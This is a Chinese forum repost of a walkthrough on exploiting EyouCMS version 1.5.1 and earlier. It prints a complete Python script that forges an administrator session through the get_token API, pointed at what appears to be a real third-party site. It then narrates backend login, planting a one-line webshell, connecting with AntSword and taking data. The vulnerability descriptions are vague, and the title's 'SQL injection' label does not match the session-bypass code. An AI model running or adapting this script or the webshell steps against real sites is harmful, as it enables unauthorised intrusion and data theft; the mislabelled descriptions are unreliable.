宥惠 發表於 2025-3-22 00:00:00

EyouCMS易优cms系统v1.5.1版本以前的漏洞sql注入演示

<div id="navCategory"><h5 class="catalogue">目录</h5><ul class="first_class_ul"><li>漏洞描述<ul class="second_class_ul"><li>1. SQL注入漏洞</li><li>2. 文件包含漏洞</li><li>3. 命令注入漏洞</li></ul></li><li>复现步骤:<ul class="second_class_ul"><li>如果不知道版本的话就先做信息收集</li><li>去网站的登录页面</li><li>登录后台成功</li><li>在后台修改文件</li><li>一句话木马进入</li><li>用蚁剑连接</li><li>拿下数据</li></ul></li><li>漏洞修复<ul class="second_class_ul"></ul></li></ul></div><p>EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。</p><p class="maodian"></p><h2>漏洞描述</h2><p>&nbsp; eyoucms是一款广泛使用的开源CMS系统,然而最近发现该系统存在多个漏洞,使得攻击者可以轻易地获取系统权限并执行恶意代码。</p><p>以下是几个重要的漏洞:</p><p class="maodian"></p><h3>1. SQL注入漏洞</h3><p>该漏洞存在于eyoucms的登录页面,攻击者可以通过构造特定的SQL语句绕过身份验证并获取管理员权限。此外,攻击者还可以利用该漏洞在数据库中执行任意代码。</p><p class="maodian"></p><h3>2. 文件包含漏洞</h3><p>eyoucms的文件包含漏洞存在于多个页面,攻击者可以通过构造特定的URL参数来读取和执行任意文件。这使得攻击者可以轻松地获取系统权限并执行恶意代码。</p><p class="maodian"></p><h3>3. 命令注入漏洞</h3><p>该漏洞存在于eyoucms的后台管理页面,攻击者可以通过构造特定的命令绕过身份验证并执行任意命令。这使得攻击者可以在系统中执行任意代码,包括删除、修改和上传文件等操作。</p><p>为了避免这些漏洞被攻击者利用,eyoucms的开发者已经发布了修复程序。</p><p>影响范围:EyouCMS &lt;= 1.5.1</p><p class="maodian"></p><h2>复现步骤:</h2><p class="maodian"></p><h3>如果不知道版本的话就先做信息收集</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-24022210015KB.png" width="830" height="393"/></p><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-24022210015H10.png" width="830" height="268"/></p><p>这是版本号:v1.5.1</p><p>通过百度查询eyouCMS v1.5.1版本的漏洞</p><p>通过查询可知利用Python脚本去爆破数据</p><p>我在网上找了个脚本如下:</p><pre class="brush:python;toolbar:false">#&nbsp;-*-&nbsp;coding:utf-8&nbsp;-*-
from&nbsp;time&nbsp;import&nbsp;time
&nbsp;
import&nbsp;requests
import&nbsp;re
&nbsp;
#&nbsp;定义&nbsp;header&nbsp;头,&nbsp;绕过&nbsp;isAjax
header&nbsp;=&nbsp;{&#39;x-requested-with&#39;:&nbsp;&#39;xmlhttprequest&#39;}
&nbsp;
#&nbsp;定义一个&nbsp;requests&nbsp;会话
request&nbsp;=&nbsp;requests.session()
&nbsp;
PHPSESSION&nbsp;=&nbsp;&quot;&quot;
&nbsp;
&nbsp;
#&nbsp;绕过第一个判断
def&nbsp;get_session(url):
&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;PHPSESSION
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;设置&nbsp;admin_id&nbsp;并且,获取&nbsp;PHPSESSION
&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;=&nbsp;&#39;/index.php&#39;
&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;request.get(url=url&nbsp;+&nbsp;payload,&nbsp;headers=header)
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;获取PHPSESSION
&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;[+]&nbsp;PHPSESSION&nbsp;=&nbsp;&quot;&nbsp;+&nbsp;re.search(&quot;PHPSESSID=(.*?);&quot;,&nbsp;result.headers[&quot;set-cookie&quot;]).groups())
&nbsp;&nbsp;&nbsp;&nbsp;PHPSESSION&nbsp;=&nbsp;re.search(&quot;PHPSESSID=(.*?);&quot;,&nbsp;result.headers[&quot;set-cookie&quot;]).groups()
&nbsp;
&nbsp;
def&nbsp;set_admin_id(url):
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;设置一个&nbsp;admin_id&nbsp;以绕过,第一个条件
&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;=&nbsp;&#39;/index.php?m=api&amp;c=ajax&amp;a=get_token&amp;name=admin_id&#39;
&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;request.get(url=url&nbsp;+&nbsp;payload,&nbsp;headers=header).text
&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;[+]&nbsp;正在设置&nbsp;admin_id&nbsp;-&gt;&nbsp;[{result}]&quot;)
&nbsp;
&nbsp;
def&nbsp;set_admin_login_expire(url):
&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;=&nbsp;&quot;/index.php?m=api&amp;c=ajax&amp;a=get_token&amp;name=admin_login_expire&quot;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;True:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;request.get(url=url&nbsp;+&nbsp;payload,&nbsp;headers=header).text
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;第二个判断条件,判断登录是否在一小时里
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(time()&nbsp;-&nbsp;int(change(result),&nbsp;10)&nbsp;&lt;&nbsp;3600):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;[+]&nbsp;admin_login_expire&nbsp;=&nbsp;&quot;&nbsp;+&nbsp;result)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;&nbsp;正在爆破&nbsp;admin_login_expire&nbsp;-&gt;&nbsp;[{result}]&quot;)
&nbsp;
&nbsp;
def&nbsp;set_admin_info_role_id(url):
&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;=&nbsp;&quot;/index.php?m=api&amp;c=ajax&amp;a=get_token&amp;name=admin_info.role_id&quot;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;True:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;request.get(url=url&nbsp;+&nbsp;payload,&nbsp;headers=header).text
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;第三个判断条件,判断是否是管理员权限
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(int(change(result),&nbsp;10)&nbsp;&lt;=&nbsp;0):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;[+]&nbsp;admin_login_expire&nbsp;=&nbsp;&quot;&nbsp;+&nbsp;result)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;&nbsp;正在爆破&nbsp;admin_info.role_id&nbsp;-&gt;&nbsp;[{result}]&quot;)
&nbsp;
&nbsp;
def&nbsp;check_login(url):
&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;=&nbsp;&quot;login.php?m=admin&amp;c=System&amp;a=web&amp;lang=cn&quot;
&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;request.get(url=url&nbsp;+&nbsp;payload).text
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&quot;网站LOGO&quot;&nbsp;in&nbsp;result:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;[+]&nbsp;使用&nbsp;PHPSESSION&nbsp;-&gt;&nbsp;[{PHPSESSION}]&nbsp;登录成功!&quot;)
&nbsp;&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;[+]&nbsp;使用&nbsp;PHPSESSION&nbsp;-&gt;&nbsp;[{PHPSESSION}]&nbsp;登录失败!&quot;)
&nbsp;
#&nbsp;如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def&nbsp;change(string):
&nbsp;&nbsp;&nbsp;&nbsp;temp&nbsp;=&nbsp;&#39;&#39;
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;n,&nbsp;s&nbsp;in&nbsp;enumerate(string):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;n&nbsp;==&nbsp;0:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;s.isalpha():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;&#39;0&#39;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;s.isdigit():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp&nbsp;+=&nbsp;str(s)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;s.isalpha():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;temp
&nbsp;
&nbsp;
def&nbsp;run(url):
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;开始计时
&nbsp;&nbsp;&nbsp;&nbsp;time_start&nbsp;=&nbsp;time()
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;get_session(url)
&nbsp;&nbsp;&nbsp;&nbsp;set_admin_id(url)
&nbsp;&nbsp;&nbsp;&nbsp;set_admin_login_expire(url)
&nbsp;&nbsp;&nbsp;&nbsp;set_admin_info_role_id(url)
&nbsp;&nbsp;&nbsp;&nbsp;check_login(url)
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;[+]&nbsp;PHPSESSION&nbsp;=&nbsp;{PHPSESSION}&quot;)
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;结束计时
&nbsp;&nbsp;&nbsp;&nbsp;time_end&nbsp;=&nbsp;time()
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;print(f&quot;[+]&nbsp;总共用时&nbsp;{int(time_end)&nbsp;-&nbsp;int(time_start)}&nbsp;s&quot;)
&nbsp;
&nbsp;
if&nbsp;__name__&nbsp;==&nbsp;&#39;__main__&#39;:
&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;&quot;http://js.i-zeeker.com&quot;
&nbsp;&nbsp;&nbsp;&nbsp;run(url)</pre><pre name="code"></pre><p>跑出成功的cookie值:hdvu568p2jhj1bdid6e3h5c3kc</p><p class="maodian"></p><h3>去网站的登录页面</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100200243.png" width="831" height="486"/></p><p class="maodian"></p><h3>登录后台成功</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100201E5.png" width="831" height="525"/></p><p class="maodian"></p><h3>在后台修改文件</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100201U3.png" width="1153" height="560"/></p><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100201519.png" width="1200" height="728"/></p><p class="maodian"></p><h3>一句话木马进入</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100201613.png" width="830" height="556"/></p><p class="maodian"></p><h3>用蚁剑连接</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100201431.png" width="1069" height="712"/></p><p class="maodian"></p><h3>拿下数据</h3><p><img style="max-width:100%!important;height:auto!important;" alt="" src="https://zhuji.jb51.net/uploads/allimg/20240222/1-240222100202K5.png" width="1200" height="383"/></p><p class="maodian"></p><h2>漏洞修复</h2><p>升级EyouCMS至V1.5.2或以后版本。</p>
頁: [1]
查看完整版本: EyouCMS易优cms系统v1.5.1版本以前的漏洞sql注入演示